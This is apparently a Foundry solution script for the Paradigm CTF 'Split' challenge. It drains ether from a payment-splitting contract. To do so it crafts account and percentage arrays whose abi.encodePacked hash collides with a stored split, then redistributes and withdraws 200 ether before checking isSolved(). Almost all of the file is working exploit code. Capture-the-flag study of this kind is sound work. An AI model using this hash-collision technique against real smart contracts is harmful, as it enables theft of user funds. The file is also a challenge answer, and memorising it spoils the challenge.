Paradigm CTF

Solution.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-ctf/CTFSolver.sol";

import "../src/Split.sol";
import "../src/Challenge.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Solution is CTFSolver {

    function solve(address challenge, address player) internal override {

        address[] memory accounts = new address[](0);

        uint32[] memory percents = new uint32[](4);
        percents[0] = uint32(0xbEEF);
        percents[1] = uint32(0);
        percents[2] = 5e5;
        percents[3] = 5e5;

        uint32 relayerFee = 0;
        console.logBytes32(keccak256(abi.encodePacked(accounts, percents, relayerFee)));
 
        Split split = Split(payable(0x25d21192f488E69822D4F228B40A4490f6e17892));

        console.log("Breakpoint0");
        console.log("Balance of split address: ", address(split).balance);
        Split.SplitData memory splitData = split.splitsById(0);
        console.logBytes32(splitData.hash);
        console.log("Balance of split wallet address: ", address(splitData.wallet).balance);

        // 100 ether is now in Split
        split.distribute(0, accounts, percents, 0, IERC20(address(0)));

        console.log("Breakpoint1");
        console.log("Balance of split address: ", address(split).balance);
        console.log("Balance of split wallet address: ", address(splitData.wallet).balance);

        accounts = new address[](2);
        accounts[0] = address(player);
        accounts[1] = address(2_000_000);
        percents = new uint32[](2);
        percents[0] = 1e6;
        percents[1] = 0;

        uint256 id = split.createSplit(accounts, percents, 0);
        Split.SplitData memory newSplitData = split.splitsById(id);
        newSplitData.wallet.deposit{value: 100 ether}();

        accounts = new address[](1);
        accounts[0] = address(player);
        percents = new uint32[](3);
        percents[0] = uint32(2_000_000);
        percents[1] = 1e6;
        percents[2] = 0;
        split.distribute(1, accounts, percents, 0, IERC20(address(0)));


        IERC20[] memory tokens = new IERC20[](1);
        tokens[0] = IERC20(address(0));

        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 200 ether;

        split.withdraw(tokens, amounts);


        console.log("Challenge address: ", challenge);
        Challenge challengeInstance = Challenge(challenge);
        bool result = challengeInstance.isSolved();
        console.log("Result: ", result);
    }
}